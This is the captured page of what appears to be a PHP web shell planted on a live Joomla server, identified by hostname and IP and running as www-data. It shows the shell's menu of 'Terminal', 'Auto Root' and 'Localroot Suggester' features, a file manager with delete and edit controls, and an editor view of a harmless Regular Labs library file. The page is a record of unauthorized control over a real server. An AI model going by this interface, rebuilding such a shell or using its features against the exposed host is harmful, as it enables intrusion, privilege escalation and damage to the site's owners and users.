Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
libraries /
regularlabs /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Api
[ DIR ]
drwxr-xr-x
2026-06-10 18:30
Condition
[ DIR ]
drwxr-xr-x
2026-06-10 18:30
.DS_Store
6
KB
-rw-r--r--
2026-06-10 18:30
ActionLogPlugin.php
6.23
KB
-rw-r--r--
2026-06-10 18:30
Alias.php
3.36
KB
-rw-r--r--
2026-06-10 18:30
ArrayHelper.php
11.17
KB
-rw-r--r--
2026-06-10 18:30
Article.php
11.14
KB
-rw-r--r--
2026-06-10 18:30
Cache.php
2.33
KB
-rw-r--r--
2026-06-10 18:30
CacheNew.php
4.53
KB
-rw-r--r--
2026-06-10 18:30
Condition.php
12.5
KB
-rw-r--r--
2026-06-10 18:30
ConditionContent.php
12.38
KB
-rw-r--r--
2026-06-10 18:30
Conditions.php
23.12
KB
-rw-r--r--
2026-06-10 18:30
DB.php
5.5
KB
-rw-r--r--
2026-06-10 18:30
Database.php
458
B
-rw-r--r--
2026-06-10 18:30
Date.php
4.85
KB
-rw-r--r--
2026-06-10 18:30
Document.php
16.94
KB
-rw-r--r--
2026-06-10 18:30
EditorButton.php
507
B
-rw-r--r--
2026-06-10 18:30
EditorButtonHelper.php
2.56
KB
-rw-r--r--
2026-06-10 18:30
EditorButtonPlugin.php
4.38
KB
-rw-r--r--
2026-06-10 18:30
EditorButtonPopup.php
2.33
KB
-rw-r--r--
2026-06-10 18:30
Extension.php
16.83
KB
-rw-r--r--
2026-06-10 18:30
Field.php
9.6
KB
-rw-r--r--
2026-06-10 18:30
FieldGroup.php
3.52
KB
-rw-r--r--
2026-06-10 18:30
File.php
15.34
KB
-rw-r--r--
2026-06-10 18:30
Form.php
20.14
KB
-rw-r--r--
2026-06-10 18:30
Html.php
23.84
KB
-rw-r--r--
2026-06-10 18:30
HtmlTag.php
5.14
KB
-rw-r--r--
2026-06-10 18:30
Http.php
4.5
KB
-rw-r--r--
2026-06-10 18:30
Image.php
11.21
KB
-rw-r--r--
2026-06-10 18:30
Language.php
1.09
KB
-rw-r--r--
2026-06-10 18:30
License.php
2.01
KB
-rw-r--r--
2026-06-10 18:30
Log.php
3.6
KB
-rw-r--r--
2026-06-10 18:30
MobileDetect.php
83.24
KB
-rw-r--r--
2026-06-10 18:30
ObjectHelper.php
1.52
KB
-rw-r--r--
2026-06-10 18:30
Parameters.php
2.73
KB
-rw-r--r--
2026-06-10 18:30
ParametersNew.php
9.17
KB
-rw-r--r--
2026-06-10 18:30
Plugin.php
775
B
-rw-r--r--
2026-06-10 18:30
PluginTag.php
21.9
KB
-rw-r--r--
2026-06-10 18:30
Protect.php
33.6
KB
-rw-r--r--
2026-06-10 18:30
RegEx.php
6.36
KB
-rw-r--r--
2026-06-10 18:30
ShowOn.php
1.39
KB
-rw-r--r--
2026-06-10 18:30
StringHelper.php
14.49
KB
-rw-r--r--
2026-06-10 18:30
SystemPlugin.php
14.39
KB
-rw-r--r--
2026-06-10 18:30
Title.php
2.85
KB
-rw-r--r--
2026-06-10 18:30
Uri.php
5.79
KB
-rw-r--r--
2026-06-10 18:30
Version.php
10.4
KB
-rw-r--r--
2026-06-10 18:30
Xml.php
1.76
KB
-rw-r--r--
2026-06-10 18:30
Save
Rename
<?php /** * @package Regular Labs Library * @version 23.9.3039 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Library; defined('_JEXEC') or die; use Joomla\CMS\Component\ComponentHelper as JComponentHelper; use Joomla\CMS\Plugin\PluginHelper as JPluginHelper; use Joomla\Registry\Registry as JRegistry; use RegularLabs\Library\CacheNew as Cache; jimport('joomla.filesystem.file'); /** * Class ParametersNew * * @package RegularLabs\Library */ class ParametersNew { /** * Get a usable parameter object for the component * * @param string $name * @param JRegistry $params * @param bool $use_cache * * @return object */ public static function getComponent($name, $params = null, $use_cache = true) { $name = 'com_' . RegEx::replace('^com_', '', $name); $cache = new Cache([__METHOD__, $name, $params]); if ($use_cache && $cache->exists()) { return $cache->get(); } if (empty($params) && JComponentHelper::isInstalled($name)) { $params = JComponentHelper::getParams($name); } return $cache->set( self::getObjectFromRegistry( $params, JPATH_ADMINISTRATOR . '/components/' . $name . '/config.xml' ) ); } /** * Get a usable parameter object for the module * * @param string $name * @param int $admin * @param JRegistry $params * @param bool $use_cache * * @return object */ public static function getModule($name, $admin = true, $params = '', $use_cache = true) { $name = 'mod_' . RegEx::replace('^mod_', '', $name); $cache = new Cache([__METHOD__, $name, $params]); if ($use_cache && $cache->exists()) { return $cache->get(); } if (empty($params)) { $params = null; } return $cache->set( self::getObjectFromRegistry( $params, ($admin ? JPATH_ADMINISTRATOR : JPATH_SITE) . '/modules/' . $name . '/' . $name . '.xml' ) ); } /** * Get a usable parameter object based on the Joomla Registry object * The object will have all the available parameters with their value (default value if none is set) * * @param JRegistry $params * @param string $path * @param string $default * @param bool $use_cache * * @return object */ public static function getObjectFromRegistry($params, $path = '', $default = '', $use_cache = true) { $cache = new Cache([__METHOD__, $params, $path, $default]); if ($use_cache && $cache->exists()) { return $cache->get(); } $xml = self::loadXML($path, $default); if (empty($params)) { return $cache->set((object) $xml); } if ( ! is_object($params)) { $params = json_decode($params); } if (is_object($params) && method_exists($params, 'toObject')) { $params = $params->toObject(); } if (is_null($xml)) { $xml = (object) []; } if ( ! $params) { return $cache->set((object) $xml); } if (empty($xml)) { return $cache->set($params); } foreach ($xml as $key => $val) { if (isset($params->{$key}) && $params->{$key} != '') { continue; } $params->{$key} = $val; } return $cache->set($params); } /** * Returns an object based on the data in a given xml array * * @param $xml * @param bool $use_cache * * @return bool|mixed */ public static function getObjectFromXml(&$xml, $use_cache = true) { $cache = new Cache([__METHOD__, $xml]); if ($use_cache && $cache->exists()) { return $cache->get(); } if ( ! is_array($xml)) { $xml = [$xml]; } $object = self::getObjectFromXmlNode($xml); return $cache->set($object); } /** * Get a usable parameter object for the plugin * * @param string $name * @param string $type * @param JRegistry $params * @param bool $use_cache * * @return object */ public static function getPlugin($name, $type = 'system', $params = '', $use_cache = true) { $cache = new Cache([__METHOD__, $name, $type, $params]); if ($use_cache && $cache->exists()) { return $cache->get(); } if (empty($params)) { $plugin = JPluginHelper::getPlugin($type, $name); $params = (is_object($plugin) && isset($plugin->params)) ? $plugin->params : null; } return $cache->set( self::getObjectFromRegistry( $params, JPATH_PLUGINS . '/' . $type . '/' . $name . '/' . $name . '.xml' ) ); } public static function overrideFromObject($params, $object = null) { if (empty($object)) { return $params; } foreach ($params as $key => $value) { if ( ! isset($object->{$key})) { continue; } $params->{$key} = $object->{$key}; } return $params; } /** * Returns the main attributes key from an xml object * * @param $xml * * @return mixed */ private static function getKeyFromXML($xml) { if ( ! empty($xml->_attributes) && isset($xml->_attributes['name'])) { return $xml->_attributes['name']; } return $xml->_name; } /** * Create an object from the given xml node * * @param $xml * * @return object */ private static function getObjectFromXmlNode($xml) { $object = (object) []; foreach ($xml as $child) { $key = self::getKeyFromXML($child); $value = self::getValFromXML($child); if ( ! isset($object->{$key})) { $object->{$key} = $value; continue; } if ( ! is_array($object->{$key})) { $object->{$key} = [$object->{$key}]; } $object->{$key}[] = $value; } return $object; } /** * Returns the value from an xml object / node * * @param $xml * * @return object */ private static function getValFromXML($xml) { if ( ! empty($xml->_attributes) && isset($xml->_attributes['value'])) { return $xml->_attributes['value']; } if (empty($xml->_children)) { return $xml->_data; } return self::getObjectFromXmlNode($xml->_children); } /** * Returns an array based on the data in a given xml file * * @param string $path * @param string $default * @param bool $use_cache * * @return array */ private static function loadXML($path, $default = '', $use_cache = true) { $cache = new Cache([__METHOD__, $path, $default]); if ($use_cache && $cache->exists()) { return $cache->get(); } if ( ! $path || ! file_exists($path) || ! $file = file_get_contents($path) ) { return $cache->set([]); } $xml = []; $xml_parser = xml_parser_create(); xml_parse_into_struct($xml_parser, $file, $fields); xml_parser_free($xml_parser); $default = $default ? strtoupper($default) : 'DEFAULT'; foreach ($fields as $field) { if ( $field['tag'] != 'FIELD' || ! isset($field['attributes']) || ! isset($field['attributes']['NAME']) || $field['attributes']['NAME'] == '' || $field['attributes']['NAME'][0] == '@' || ! isset($field['attributes']['TYPE']) || $field['attributes']['TYPE'] == 'spacer' ) { continue; } if (isset($field['attributes'][$default])) { $field['attributes']['DEFAULT'] = $field['attributes'][$default]; } if ( ! isset($field['attributes']['DEFAULT'])) { $field['attributes']['DEFAULT'] = ''; } if ($field['attributes']['TYPE'] == 'textarea') { $field['attributes']['DEFAULT'] = str_replace('<br>', "\n", $field['attributes']['DEFAULT']); } $xml[$field['attributes']['NAME']] = $field['attributes']['DEFAULT']; } return $cache->set($xml); } }